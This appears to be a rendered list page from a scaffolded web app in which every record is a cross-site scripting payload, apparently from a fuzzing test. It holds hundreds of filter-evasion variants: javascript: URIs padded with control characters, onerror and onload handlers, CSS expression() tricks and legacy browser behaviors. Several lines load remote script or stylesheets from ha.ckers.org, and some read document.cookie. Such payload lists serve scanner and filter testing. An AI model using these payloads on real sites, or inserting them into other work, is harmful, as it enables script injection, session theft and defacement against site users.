| <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x22onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x09onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x00onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x27onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x20onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| "`'><script>\x3Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Djavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x84javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x81javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x09javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE3\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x89javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x88javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE1\x9A\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x00javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Cjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA8javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x2Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>-javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x7Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x87javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xC2\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x83javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA9javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x21javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x86javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x82javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x20javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xC2\xA0javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x /> |
Show |
Edit |
Destroy |
| <script\x20>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x2F>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /> |
Show |
Edit |
Destroy |
| <script\x0D>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x09>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0A>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script\x0C>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x00>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert('1')> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert("1")> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(('1'))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(`1`)> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(("1"))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert((`1`))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert((A))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(A)> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert('A')> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert("A")> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(("A"))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(('A'))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert((`A`))> |
Show |
Edit |
Destroy |
| "><img src=x onerror=javascript:alert(`A`)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x00=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0D=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0B=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0A=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x09=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)<\x00/script> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x20=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <img src=# onerror\x3D"javascript:alert(1)" > |
Show |
Edit |
Destroy |
| <input onfocus=javascript:alert(1) autofocus> |
Show |
Edit |
Destroy |
| <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X |
Show |
Edit |
Destroy |
| <video poster=javascript:javascript:alert(1)// |
Show |
Edit |
Destroy |
| <input onblur=javascript:alert(1) autofocus><input autofocus> |
Show |
Edit |
Destroy |
| <video><source onerror="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <video onerror="javascript:javascript:alert(1)"><source> |
Show |
Edit |
Destroy |
| <body oninput=javascript:alert(1)><input autofocus> |
Show |
Edit |
Destroy |
| <frameset onload=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <form><button formaction="javascript:javascript:alert(1)">X |
Show |
Edit |
Destroy |
| <table background="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> |
Show |
Edit |
Destroy |
| <style><img src="</style><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> |
Show |
Edit |
Destroy |
| <![><img src="]><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <!--<img src="--><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> |
Show |
Edit |
Destroy |
| <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> |
Show |
Edit |
Destroy |
| <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> |
Show |
Edit |
Destroy |
| <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> |
Show |
Edit |
Destroy |
| <img src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> |
Show |
Edit |
Destroy |
| <b <script>alert(1)</script>0 |
Show |
Edit |
Destroy |
| <embed src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <image src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <script src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <? foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x |
Show |
Edit |
Destroy |
| <! foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> |
Show |
Edit |
Destroy |
| <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| </ foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="alert(1)"> |
Show |
Edit |
Destroy |
| <img \x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x12src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x13src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x32src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x10src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x34src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x39src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x09=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x10=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x13=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x12=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x32=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x11=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x00=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x09onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x47=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x10onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x11onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x13onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x12onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x09"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x10"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x11"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x12"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x32"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x00"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <a href=java |
Show |
Edit |
Destroy |
| <img src="x` `<script>javascript:alert(1)</script>"` `> |
Show |
Edit |
Destroy |
| <img src onerror /" '"= alt=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <title onpropertychange=javascript:alert(1)></title><title title=> |
Show |
Edit |
Destroy |
| <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> |
Show |
Edit |
Destroy |
| <!--[if]><script>javascript:alert(1)</script --> |
Show |
Edit |
Destroy |
| <!--[if<img src=x onerror=javascript:alert(1)//]> --> |
Show |
Edit |
Destroy |
| <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> |
Show |
Edit |
Destroy |
| <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style> |
Show |
Edit |
Destroy |
| <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X |
Show |
Edit |
Destroy |
| <style>@import "data:,*{x:expression(javascript:alert(1))}";</style> |
Show |
Edit |
Destroy |
| <link rel=stylesheet href=data:,*{x:expression(javascript:alert(1))} |
Show |
Edit |
Destroy |
| <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a> |
Show |
Edit |
Destroy |
| <div style="font-family:foo}color=red;">XXX |
Show |
Edit |
Destroy |
| <div style="font-family:'foo |
Show |
Edit |
Destroy |
| <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style> |
Show |
Edit |
Destroy |
| <// style=x:expression\28javascript:alert(1)\29> |
Show |
Edit |
Destroy |
| <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X |
Show |
Edit |
Destroy |
| <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> |
Show |
Edit |
Destroy |
| <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X |
Show |
Edit |
Destroy |
| <div style="background:url(/f# |
Show |
Edit |
Destroy |
| <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> |
Show |
Edit |
Destroy |
| <x style="background:url('x |
Show |
Edit |
Destroy |
| <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> |
Show |
Edit |
Destroy |
| <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> |
Show |
Edit |
Destroy |
| <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script> |
Show |
Edit |
Destroy |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script> |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7"> |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7"> |
Show |
Edit |
Destroy |
| <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ |
Show |
Edit |
Destroy |
| X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > |
Show |
Edit |
Destroy |
| 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh |
Show |
Edit |
Destroy |
| 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values= |
Show |
Edit |
Destroy |
| 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> |
Show |
Edit |
Destroy |
| <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> |
Show |
Edit |
Destroy |
| <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click
data:XXX
"> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to=" |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <IMG SRC=`javascript:javascript:alert(1)`> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:javascript:alert(1)" |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <BGSOUND SRC="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <BR SIZE=" |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width:expression(javascript:alert(1));"> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(javascript:alert(1))"> |
Show |
Edit |
Destroy |
| <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> |
Show |
Edit |
Destroy |
| <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> |
Show |
Edit |
Destroy |
| <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> |
Show |
Edit |
Destroy |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> |
Show |
Edit |
Destroy |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:javascript:alert(1);//"> |
Show |
Edit |
Destroy |
| <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X |
Show |
Edit |
Destroy |
| <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> |
Show |
Edit |
Destroy |
| <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> |
Show |
Edit |
Destroy |
| <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <meta charset= "x-imap4-modified-utf7" |
Show |
Edit |
Destroy |
| <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> |
Show |
Edit |
Destroy |
| <style onreadystatechange=javascript:javascript:alert(1);></style> |
Show |
Edit |
Destroy |
| <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> |
Show |
Edit |
Destroy |
| <embed code=javascript:javascript:alert(1);></embed> |
Show |
Edit |
Destroy |
| <object onerror=javascript:javascript:alert(1)> |
Show |
Edit |
Destroy |
| <frameset onload=javascript:javascript:alert(1)></frameset> |
Show |
Edit |
Destroy |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <a href="jav |
Show |
Edit |
Destroy |
| <a href="jav |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; |
Show |
Edit |
Destroy |
| <iframe srcdoc=" |
Show |
Edit |
Destroy |
| alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- |
Show |
Edit |
Destroy |
| ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert('XSS')> |
Show |
Edit |
Destroy |
| <a onmouseover="alert(document.cookie)">xxs link</a> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert("XSS")> |
Show |
Edit |
Destroy |
| <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> |
Show |
Edit |
Destroy |
| <a onmouseover=alert(document.cookie)>xxs link</a> |
Show |
Edit |
Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <IMG SRC=# onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC= onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC=" |
Show |
Edit |
Destroy |
| perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
Show |
Edit |
Destroy |
| <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS')" |
Show |
Edit |
Destroy |
| <SCRIPT SRC=//ha.ckers.org/.j> |
Show |
Edit |
Destroy |
| <iframe src=http://ha.ckers.org/scriptlet.html < |
Show |
Edit |
Destroy |
| \";alert('XSS');// |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| </TITLE><SCRIPT>alert("XSS");</SCRIPT> |
Show |
Edit |
Destroy |
| <BODY BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG SRC="livescript:[code]"> |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC='vbscript:msgbox("XSS")'> |
Show |
Edit |
Destroy |
| <BGSOUND SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <BR SIZE=" |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
Show |
Edit |
Destroy |
| <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> |
Show |
Edit |
Destroy |
| <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> |
Show |
Edit |
Destroy |
| <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
Show |
Edit |
Destroy |
